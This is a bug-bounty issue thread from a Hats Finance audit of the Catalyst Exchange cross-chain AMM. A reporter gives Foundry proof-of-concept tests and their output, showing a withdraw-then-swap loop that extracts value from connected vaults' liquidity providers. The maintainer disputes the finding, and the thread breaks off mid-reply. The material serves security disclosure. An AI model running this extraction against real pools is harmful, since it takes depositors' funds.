hats-finance / Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4

Other
1 stars 3 forks source link

Fund Loss/Gain When There are Different Amounts of Tokens Available in Connected Vaults (Pool) During Swaps #76

Open hats-bug-reporter[bot] opened 5 months ago

hats-bug-reporter[bot] commented 5 months ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0x21c388ec31681c1618ae8b5c39856d9e527a8734ec1c301d04d186fe72e38fbe Severity: high

Description: Description\ Units of Liquidity as described by documentation and whitepaper, should be global in order to support pools. It is a unit of measurement that should be accounted when swapping between chains or vaults. As described in whitepaper:

The Unit of liquidity is not an intermediate token the user is exposed to or requires lock and mint bridges, it is the result of a computation based on customizable independent swap curves.

More information from documentation:

Each Vault contains 1 or more assets and can be connected to none, one or more other vaults to allow swaps between their assets. When vaults are connected, they form a pool. Within a pool, any asset can be exchanged for any other asset.

To facilitate swaps between different vaults, tokens are converted into the value abstraction: Units. This is done via the internal price curve of the vault. Using a cross-chain messaging layer, the Units can be transferred to any connected vaults, followed by the conversion of the Units to the desired token.

The problem arises when connected vaults starts to diverge in terms of total amount of tokens available in the pool. When this happens, swap from vault that have more tokens to vault that have less tokens make user lose funds, while swaps from vault that have less tokens to vault that have more tokens let users earn funds. While it seems like an arbitrage opportunity, it is not; because vaults that are available in the Catalyst system should be indepentently useful as described by documentation and whitepaper.

Attack Scenario\ One can create so many scenarios and exploit all of them with ease with the information provided above. To be simplistic I will use the ExampleTest.t.sol and will do just a little modification to it to show the problem.

Let's go step by step and start with setUp:

  function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 2;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("TEST", "TEST", 18, 1e6));
    init_balances[0] = 1000 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("TEST2", "TEST2", 18, 1e6));
    init_balances[1] = 1000 * 1e18;
    weights[1] = 1;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }

Here we deploy 2 vaults with 1000e18 tokens per token per vault.

Then we will have 3 different cross_chain_swap functions, which first one is the provided in the repo (without any change):

  function test_cross_chain_swap() external {
    // We need to set address(CCI) as the allowed caller and address(GARP) as the destination.
    bytes memory approvedRemoteCaller = convertEVMTo65(address(CCI));
    bytes memory remoteGARPImplementation = abi.encode(address(GARP));
    // notice that remoteGARPImplementation needs to be encoded with how the AMB expectes it
    // and approvedRemoteCaller needs to be encoded with how GARP expects it.
    CCI.connectNewChain(DESTINATION_IDENTIFIER, approvedRemoteCaller, remoteGARPImplementation);

    ICatalystV1Vault(vault1).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault2),
      true
    );

    ICatalystV1Vault(vault2).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault1),
      true
    );

    // Get the token at index 0 from the vault
    address fromToken = ICatalystV1Vault(vault1)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    address toToken = ICatalystV1Vault(vault1)._tokenIndexing(1);

    // Make an account for testing
    address alice = makeAddr("Alice");
    uint256 swapAmount = 100 * 10**18;

    payable(alice).transfer(_getTotalIncentive(_INCENTIVE));
    Token(fromToken).transfer(alice, swapAmount);
    vm.prank(alice);
    Token(fromToken).approve(vault1, swapAmount);

    // Define the route as a struct:
    ICatalystV1Structs.RouteDescription memory routeDescription = ICatalystV1Structs.RouteDescription({
        chainIdentifier: DESTINATION_IDENTIFIER,
        toVault: convertEVMTo65(vault2),
        toAccount: convertEVMTo65(alice),
        incentive: _INCENTIVE
    });

    // We need the log emitted by the mock Generalised Incentives implementation.
    vm.recordLogs();
    vm.prank(alice);
    ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        fromToken,
        1,
        swapAmount,
        0,
        alice,
        0,
        hex""
    );
    // Get logs.
    Vm.Log[] memory entries = vm.getRecordedLogs();
    // Decode log.
    (, , bytes memory messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
    // Get GARP message.
    (bytes memory _metadata, bytes memory toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process message / Execute the receiveAsset call. This delivers the assets to the user.
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
    // We need to deliver the ack, so we need to relay another message back:
    entries = vm.getRecordedLogs();
    (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process ack
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);

    uint256 cross_chain_swap_result = Token(toToken).balanceOf(alice);
    console2.log("alice balance:", cross_chain_swap_result);
  }

Second one where following lines added before creating address alice:

    address bob = makeAddr("bob");
    Token(fromToken).transfer(bob,1000e18);
    Token(toToken).transfer(bob,1000e18);
    vm.startPrank(bob);
    Token(fromToken).approve(vault1,1000e18);
    Token(toToken).approve(vault1,1000e18);
    uint256[] memory tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 1000e18;
    tokenAmounts[1] = 1000e18;
    ICatalystV1Vault(vault1).depositMixed(tokenAmounts,0);
    vm.stopPrank();

Third one where following lines added before creating address alice:


    // Get the token at index 0 from the vault
    address fromToken = ICatalystV1Vault(vault2)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    address toToken = ICatalystV1Vault(vault2)._tokenIndexing(1);

    address bob = makeAddr("bob");
    Token(fromToken).transfer(bob,1000e18);
    Token(toToken).transfer(bob,1000e18);
    vm.startPrank(bob);
    Token(fromToken).approve(vault2,1000e18);
    Token(toToken).approve(vault2,1000e18);
    uint256[] memory tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 1000e18;
    tokenAmounts[1] = 1000e18;
    ICatalystV1Vault(vault2).depositMixed(tokenAmounts,0);
    vm.stopPrank();

    // Get the token at index 0 from the vault
    fromToken = ICatalystV1Vault(vault1)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    toToken = ICatalystV1Vault(vault1)._tokenIndexing(1);

As we can see only difference is that before crosschain swap occur, bob comes into play and deposit some amount of tokens (without breaking the proportion) to the vault0 in the second scenario and vault1 in the third scenario.

If we run forge test --match-contract ExampleTest -vvv Output will be:

[PASS] test_cross_chain_swap() (gas: 761577) Logs: alice balance: 90909090909090910000

[PASS] test_cross_chain_swap2() (gas: 854562) Logs: alice balance: 47619047619047619000

[PASS] test_cross_chain_swap3() (gas: 860717) Logs: alice balance: 181818181818181820000

As we can see alice's swap output change according the imbalances between vault while it shouldn't be.

This is the exact opposite mentioned in whitepaper as:

This paper introduces an autonomous market maker based on local invariants that are updated solely on local trade execution. Connecting the invariants defines a pool where assets can be swapped within, independently of where assets are located. Since each local instance is unaware of other instances, there is no state synchronisation nor an on-chain representation of the global state.

reednaa commented 5 months ago

I followed the entire case and it is expected. You have to compare the results to the likes of a Balancer vault. In this case, everything would play out similarly. In fact, someone could come in and extract value from the people who seems to not know better than to swap or deposit the vaults out of balance.

Try computing the invariant for the vaults before and after the swap (we don't have the strong invariant implemented so you can't test it with the deposit, but if you withdraw the vault tokens you should be able to test it after the withdrawal). https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/blob/fba322fab023a9206183fb455e9f86facd550d8a/evm/test/CatalystVault/1Volatile/VolatileOneVault.t.sol#L77-L85

Where the math functions are from this file: https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/blob/main/evm/test/CatalystVault/Invariant.t.sol

kosedogus commented 5 months ago

So you are accepting the fact that when vaults have different amounts one can use the vault with less amount to steal funds from other vault. So, how do you expect someone provide liquidity (deposit) to the vaults without losing some of their tokens? At the moment someone provide liquidity in the vault1, vault1 and vault2 will become uncorrelated in this sense, hence anyone from vault2 can initiate a swap with vault1 to steal funds from it.

In fact, someone could come in and extract value from the people who seems to not know better than to swap or deposit the vaults out of balance.

In order for system to work, it needs liquidity, and when liquidity provided to the one vault, it immediately became open to attacks. What you are giving example of is related to arbitrage opportunity with wrong pricing in the pools. This is not that. Even when proportions in the vaults are correct, it become vulnerable to value extraction in the event of deposit. I will now provide one more test case to show what I mean more clearly, but again it will be a simplified example, I believe with the comments I provided above it will become clearer what I am trying to show. Let's assume 2 vault which both of them have the same tokens and both have 150_000e18 tokens for each. For simplicity I will do the following: 1 - Both vaults started with 100_000e18 token each. 2 - "Bob" deposits into the vault1 with 50_000e18 token each. 3 - "John" deposits into the vault2 with 50_000e18 token each. (We can assume that it happened gradually, it doesn't have to be 3 step process) Here is the setup and test function:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import { Token } from "./mocks/token.sol";
import { TestCommon } from "./TestCommon.t.sol";
import { ICatalystV1Vault, ICatalystV1Structs } from "../src/ICatalystV1Vault.sol";

contract ExampleTest2 is TestCommon {

  address vault1;
  address vault2;

  bytes32 FEE_RECIPITANT = bytes32(uint256(uint160(0)));

  function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 2;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("TEST", "TEST", 18, 1e6));
    init_balances[0] = 100_000 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("TEST2", "TEST2", 18, 1e6));
    init_balances[1] = 100_000 * 1e18;
    weights[1] = 1;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }
  function test_withdraw_attack() external {
    // We need to set address(CCI) as the allowed caller and address(GARP) as the destination.
    bytes memory approvedRemoteCaller = convertEVMTo65(address(CCI));
    bytes memory remoteGARPImplementation = abi.encode(address(GARP));
    // notice that remoteGARPImplementation needs to be encoded with how the AMB expectes it
    // and approvedRemoteCaller needs to be encoded with how GARP expects it.
    CCI.connectNewChain(DESTINATION_IDENTIFIER, approvedRemoteCaller, remoteGARPImplementation);

    ICatalystV1Vault(vault1).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault2),
      true
    );

    ICatalystV1Vault(vault2).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault1),
      true
    );

    // Get the token at index 0 from the vault
    address fromToken = ICatalystV1Vault(vault1)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    address toToken = ICatalystV1Vault(vault1)._tokenIndexing(1);

    address john = makeAddr("john");
    Token(fromToken).transfer(john,50_000e18);
    Token(toToken).transfer(john,50_000e18);
    vm.startPrank(john);
    Token(fromToken).approve(vault2,50_000e18);
    Token(toToken).approve(vault2,50_000e18);
    uint256[] memory tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 50_000e18;
    tokenAmounts[1] = 50_000e18;
    uint256 from_token_balance = Token(fromToken).balanceOf(john);
    console2.log("token1 initial balance john:", from_token_balance);
    uint256 to_token_balance = Token(toToken).balanceOf(john);
    console2.log("token2 initial balance john:", to_token_balance);
    uint256 mintedJohn = ICatalystV1Vault(vault2).depositMixed(tokenAmounts,0);
    vm.stopPrank();

    address bob = makeAddr("bob");
    Token(fromToken).transfer(bob,55_000e18);
    Token(toToken).transfer(bob,55_000e18);
    from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 initial balance bob:", from_token_balance);
    to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 initial balance bob:", to_token_balance);
    vm.startPrank(bob);
    Token(fromToken).approve(vault1,55_000e18);
    Token(toToken).approve(vault1,55_000e18);
    tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 50_000e18;
    tokenAmounts[1] = 50_000e18;
    uint256 mintedBob = ICatalystV1Vault(vault1).depositMixed(tokenAmounts,0);
    vm.stopPrank();

    payable(bob).transfer(_getTotalIncentive(_INCENTIVE));

    // Define the route as a struct:
    ICatalystV1Structs.RouteDescription memory routeDescription = ICatalystV1Structs.RouteDescription({
        chainIdentifier: DESTINATION_IDENTIFIER,
        toVault: convertEVMTo65(vault2),
        toAccount: convertEVMTo65(bob),
        incentive: _INCENTIVE
    });

    vm.startPrank(bob);
    uint256[] memory minOut = new uint256[](2);
    minOut[0] = 0;
    minOut[1] = 0;
    ICatalystV1Vault(vault1).withdrawAll(mintedBob,minOut);
    vm.stopPrank();

    // We need the log emitted by the mock Generalised Incentives implementation.
    vm.recordLogs();
    vm.startPrank(bob);
    ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        fromToken,
        1,
        5_000e18,
        0,
        bob,
        0,
        hex""
    );

    // Get logs.
    Vm.Log[] memory entries = vm.getRecordedLogs();
    // Decode log.
    (, , bytes memory messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
    // Get GARP message.
    (bytes memory _metadata, bytes memory toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process message / Execute the receiveAsset call. This delivers the assets to the user.
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
    // We need to deliver the ack, so we need to relay another message back:
    entries = vm.getRecordedLogs();
    (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process ack
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);

    from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 final balance bob:", from_token_balance);
    to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 final balance bob:", to_token_balance);

    vm.startPrank(john);
    ICatalystV1Vault(vault2).withdrawAll(mintedJohn,minOut);
    from_token_balance = Token(fromToken).balanceOf(john);
    console2.log("token1 final balance john:", from_token_balance);
    to_token_balance = Token(toToken).balanceOf(john);
    console2.log("token2 final balance john:", to_token_balance);
    vm.stopPrank();
  }
}

Let me explain what happens in the test: 1 -Until to the point where bob decides the withdraw is the setup part. 2- Bob withdraw his funds from vault1, hence vault1's tokens become more valuable against vault2. 3- Bob swap tokens from vault1 to vault2. Run forge test --match-test test_withdraw_attack -vvv Result:

token1 initial balance john: 50000000000000000000000 token2 initial balance john: 50000000000000000000000 token1 initial balance bob: 55000000000000000000000 token2 initial balance bob: 55000000000000000000000 token1 final balance bob: 50000000000000000066666 token2 final balance bob: 62142857142857142916666 token1 final balance john: 50000000000000000066666 token2 final balance john: 47619047619047619113492

As we can see bob started with 55_000e18+55_000e18 = 110_000e18 tokens and end up with 112_142e18 tokens. John started with 50_000e18+50_000e18 = 100_000e18 tokens and its share worths 97_619e18 tokens in the end. Bob gains, John loses.

reednaa commented 5 months ago

There are a lot of things to unpack here. I will try me best to explain them but it is easier to explain if you had modified the case a bit:

I can do the math here since it is the same as the vaults and quicker to do.

Uneven Deposits cause the price to change.

The marginal price of volatile vaults is $$p{b for a} = (A · Wb)/(B · WA)$$ Assume the weights are equal. Then $$p{b for a} = A/B$$ Our base case is 100000 of each token: $$p{b for a} = 100'000/100'000 = 1$$ That is 1 Token B is worth 1 Token A (and 1 Token A is worth 1/1 Token B)

When Alice deposits 50'000 tokens of A, she gets vault tokens equiv to $50'000/100'000 = 50%$ of the vault. Assume Alice gets 50 vault tokens. What does it do to the price: $$p_{b for a} = 150'000/100'000 = 1,5$$ => 1 Token B is worth 1,5 Token A. It decreased in price. So someone could go in and sell Token B for Token A and get value out. (assuming the market price is unchanged).

What would happen if you did something similar in a Balancer pool?

Lets balance everything again and assume that Bob deposits 50'000 token B. Bob also gets 50 vault tokens AND Charlie deposits 10'000 in both, he gets 10 vault tokens of each.

Uneven Deposits are confusing

Lets make Debbie do their swap from A to B. $$a_{out} = (160'000 · 50'000)/(160'000 + 50'000) = 38'000$$

So the vault now contains 160'000+50'000 = 210'000 Token A and 160'000-38000 = 122'000 Token B. The new price is $$p_{b for a} = 210'000/122'000 = 1,72$$. So now you can swap back to arbitrage.

But lets assume that the market prices also changed to exactly 1,72. And examine each person's holding's value.

Alice owns 50/160 of 210'000 = 65625 of A none of B. Bob owns 50/160 of 122'000 = 38125 of B none of A. Charlie owns 10/160 of 210'000 = 13125 of A and 10/160 of 122'000 = 7625 of B.

What is their value, remember we assume the market prices changed. Assume we want to measure the value in Token B. Alice now owns value equal to 65625 1/1,72 = 38154 Token B. Bob now owns value equal to 38125 Token B. Charlie owns 13125 1/1,72 = 7630 + 7625 = 15255 of B.

They all lost similar amounts: Alice: 1-38154/50000 = 23% Bob: 1-38154/50000 = 23% Charlie: 1-15255/20000 = 23%

Uneven Deposits are risky.

What happens if the majority of users only deposit on a single chain and the market price does not change appropriately? Lets remove Bob.

Debbie does their swap from A to B but with 23'000 tokens. $$a_{out} = (160'000 · 23'000)/(110'000 + 23'000) = 27'000$$ The value now contains 133 token A and 133 Token B.

What are their asset compositions: They all lost similar amounts: Alice: 133'000 50/160 = 41'000. She lost 9'000 tokens Charlie: 133'000 10/160 + 133'000 * 10/110 = 8'313 + 12'090 = 20403.

So Alice lost because she deposited in a way that dilluted her shares and Charlie gained because Alice deposited in a way that dilluted her shares. Debbie was an arbitragor.

Liquidity Swaps

We have implemented liquidity swaps as a way to circumvent this issue. You can sell portions of your liquidity on one vault to get liquidity inside another.

kosedogus commented 5 months ago

I understand what you are saying but unfortunately I believe we are not on the same page here. Maybe I couldn't explained myself clear, if so, sorry about that. Let me try it again and try to be more precise this time. What I am talking about is not uneven deposits between tokens, it is uneven total vault value between vaults. I will change the terminology a little bit because I believe it fits better and I will explain all the details bit by bit to be on the same page.

Firstly, vaults are also pools in Catalyst. because it is possible to do swaps inside the vault via localSwap(). So I will mention vaults as sub-pools from now on.

These sub-pools can live without connecting to other sub-pools, because they have all necessary functions to be pool (deposit/withdraw liquidity and swap).

The optimal way to deposit liquidity into a sub-pool is via protecting its token ratios, so as you mention uneven deposits are bad at so many aspect. I agree with you on that and it is not my issue.

Now, what happens when 2 sub-pools connect: They make a bigger pool.

So let's continue with following: We have a sub-pool A and sub-pool B. These pools are connected, and so we have a bigger pool in the big picture because we can make swaps between them.

Let's say both of these pools have 2 tokens and those tokens are same, namely tokenA and tokenB and those tokens' worth same (it is not a requirement, I am using this example because this way we can focus on important part without dealing with conversion math).

Just like you said above, uneven deposits in any of these sub-pools are bad in so many aspect. So users are incentivized to deposit evenly (actually because our tokens worth same they should literally deposit evenly).

Now let's say tokenA worth $1 and tokenB worth $1.

Let's say sub-pool A has $1.500.000 worth of tokenA and $1.500.000 worth of tokenB (they also have 1.500.000e18 tokens each because 1 token worth $1 for each, but I will continue with dollars.)

Let's also say sub-pool B has $1.500.000 worth of tokenA and $1.500.000 worth of tokenB.

Now if we look at the situation, sub-pool A's total worth is $3.000.000, and sub-pool B's total-worth is also $3.000.000.

Here is the issue: When sub-pool A's total worth become different than sub-pool B's total worth, swaps between these sub-pools will become problematic.

Let's continue with our concrete example. Let's say there is a person "bob" and $1.000.000 worth of liquidity out of $3.000.000 in sub-pool A is belong to bob.

When bob decides to withdraw all his liquidity from sub-pool A, the total worth of liquidity between sub-pools will change: sub-pool A will have $2.000.000 worth of liquidity while sub-pool B will have $3.000.000 worth of liquidity.

Now, unfortunately the system will start to see sub-pool A's tokens more valuable than sub-pool B's tokens because they are scarce. So when someone tries to swap tokens from sub-pool A to sub-pool B they will basically earn free funds and sub-pool B's liquidity providers will lose their tokens unfairly.

Now let's go one more step and let's say bob wants to use this opportunity to gain some free funds (maybe he just deposited liquidity only to do this who knows? Well if this issue doesn't resolves they will probably just try to do that...)

Let's continue with our new test, in this test I make it so that value extraction is optimal (I swapped from sub-pool A's token A to sub-pool B's token B, and then sub-pool A's token B to sub-pool B's token A over and over. This way price between tokens in sub-pool does not change hence we can see that the issue is not about uneven deposits or arbitrage opportunities between tokens.)

Here is setup and attack function together, then I will explain them:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import { Token } from "./mocks/token.sol";
import { TestCommon } from "./TestCommon.t.sol";
import { ICatalystV1Vault, ICatalystV1Structs } from "../src/ICatalystV1Vault.sol";

contract ExampleTest2 is TestCommon {

  address vault1;
  address vault2;

  bytes32 FEE_RECIPITANT = bytes32(uint256(uint160(0)));

  function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 2;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("TEST", "TEST", 18, 1e35));
    init_balances[0] = 1_000_000 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("TEST2", "TEST2", 18, 1e35));
    init_balances[1] = 1_000_000 * 1e18;
    weights[1] = 1;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }
  function test_withdraw_attack() external {
    // We need to set address(CCI) as the allowed caller and address(GARP) as the destination.
    bytes memory approvedRemoteCaller = convertEVMTo65(address(CCI));
    bytes memory remoteGARPImplementation = abi.encode(address(GARP));
    // notice that remoteGARPImplementation needs to be encoded with how the AMB expectes it
    // and approvedRemoteCaller needs to be encoded with how GARP expects it.
    CCI.connectNewChain(DESTINATION_IDENTIFIER, approvedRemoteCaller, remoteGARPImplementation);

    ICatalystV1Vault(vault1).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault2),
      true
    );

    ICatalystV1Vault(vault2).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault1),
      true
    );

    // Get the token at index 0 from the vault
    address fromToken = ICatalystV1Vault(vault1)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    address toToken = ICatalystV1Vault(vault1)._tokenIndexing(1);

    address john = makeAddr("john");
    Token(fromToken).transfer(john,500_000e18);
    Token(toToken).transfer(john,500_000e18);
    vm.startPrank(john);
    Token(fromToken).approve(vault2,500_000e18);
    Token(toToken).approve(vault2,500_000e18);
    uint256[] memory tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 500_000e18;
    tokenAmounts[1] = 500_000e18;
    uint256 mintedJohn = ICatalystV1Vault(vault2).depositMixed(tokenAmounts,0);
    vm.stopPrank();

    address bob = makeAddr("bob");
    Token(fromToken).transfer(bob,750_000e18);
    Token(toToken).transfer(bob,750_000e18);
    uint256 from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 initial balance bob:", from_token_balance);
    uint256 to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 initial balance bob:", to_token_balance);
    uint256 total_tokens = from_token_balance + to_token_balance;
    console2.log("bob initially have $",total_tokens/1e18);
    vm.startPrank(bob);
    Token(fromToken).approve(vault1,1_000_000e18);
    Token(toToken).approve(vault1,1_000_000e18);
    tokenAmounts = new uint256[](2);
    tokenAmounts[0] = 500_000e18;
    tokenAmounts[1] = 500_000e18;
    uint256 mintedBob = ICatalystV1Vault(vault1).depositMixed(tokenAmounts,0);
    vm.stopPrank();

    payable(bob).transfer(_getTotalIncentive(_INCENTIVE)*15);

    // Define the route as a struct:
    ICatalystV1Structs.RouteDescription memory routeDescription = ICatalystV1Structs.RouteDescription({
        chainIdentifier: DESTINATION_IDENTIFIER,
        toVault: convertEVMTo65(vault2),
        toAccount: convertEVMTo65(bob),
        incentive: _INCENTIVE
    });

    vm.startPrank(bob);
    uint256[] memory minOut = new uint256[](2);
    minOut[0] = 0;
    minOut[1] = 0;
    ICatalystV1Vault(vault1).withdrawAll(mintedBob,minOut);
    vm.stopPrank();

    uint256 FIVE_THOUSAND = 5_000e18;
    Vm.Log[] memory entries;
    bytes memory messageWithContext;
    bytes memory _metadata;
    bytes memory toExecuteMessage;

    for (uint i = 5; i < 15;) {
      vm.recordLogs();
      vm.prank(bob);
      ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        fromToken,
        1,
        FIVE_THOUSAND*i,
        0,
        bob,
        0,
        hex""
      );

      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);

      vm.recordLogs();
      vm.prank(bob);
      ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        toToken,
        0,
        FIVE_THOUSAND*(i+1),
        0,
        bob,
        0,
        hex""
      );

      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      i += 2;
    }

    from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 final balance bob:", from_token_balance);
    to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 final balance bob:", to_token_balance);
    total_tokens = from_token_balance + to_token_balance;
    console2.log("bob finally have $",total_tokens/1e18);    

    vm.recordLogs();
    vm.startPrank(bob);
    ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        toToken,
        1,
        1e18,
        0,
        bob,
        0,
        hex""
    );

    // Get logs.
    entries = vm.getRecordedLogs();
    // Decode log.
    (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
    // Get GARP message.
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process message / Execute the receiveAsset call. This delivers the assets to the user.
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
    // We need to deliver the ack, so we need to relay another message back:
    entries = vm.getRecordedLogs();
    (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process ack
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
  }
}

In setUp() we create 2 tokens (our tokenA and tokenB) and then create 2 vaults(sub-pools) with these tokens and initiate the sub-pools with 1_000_000e18 tokens from each.

The part where john deposits 500_000e18 tokens each to vault2 and bob deposits 500_000e18 tokens each to vault1 is also part of the setup.

Now attack starts with bob's withdrawAll() call. After bob withdraw his liquidity from vaultA, the attack path became open.

After that in the for loop, bob swaps from sub-pool A to sub-pool B over and over. In order to protect pricing between tokens and optimize his profits he does swap from token A to token B and then token B to token A. He continue to do this until total worth of sub-pools became equal.

Let's run forge test --match-test test_withdraw_attack -vvv and see the output:

[PASS] test_withdraw_attack() (gas: 3383408) Logs: token1 initial balance bob: 750000000000000000000000 token2 initial balance bob: 750000000000000000000000 bob initially have $ 1500000 token1 final balance bob: 824999999999999997443404 token2 final balance bob: 775510204081632652196831 bob finally have $ 1600510

Bob gained $100.000! And liquidity providers from sub-pool B lost $100.000 in total!

By having the %33.33 of the liquidity in one sub-pool, bob was able to steal %5 of the pool balance! (not including his liquidity)

So any liquidity provider can steal 1/6 of the liquidity percentage they have in the pool! (If someones' provided liquidity is %6 of the pool, they can steal %1 of the rest of the liquidity from pool with this attack.)

With this, I hope everything became clearer. With this knowledge in mind unfortunately we can easily say that the protocol is currently not safe to use.

Best Regards.

reednaa commented 5 months ago

I think my explanation still holds. Specifically, my section Uneven Deposits are risky. Because, there is actually 2 people who do strange things here. Specifically, who did Bob steal money from?

There are 2 potential people:

For my example I will simply the example a bit, 2 tokens in 2 vaults since it applies similar.

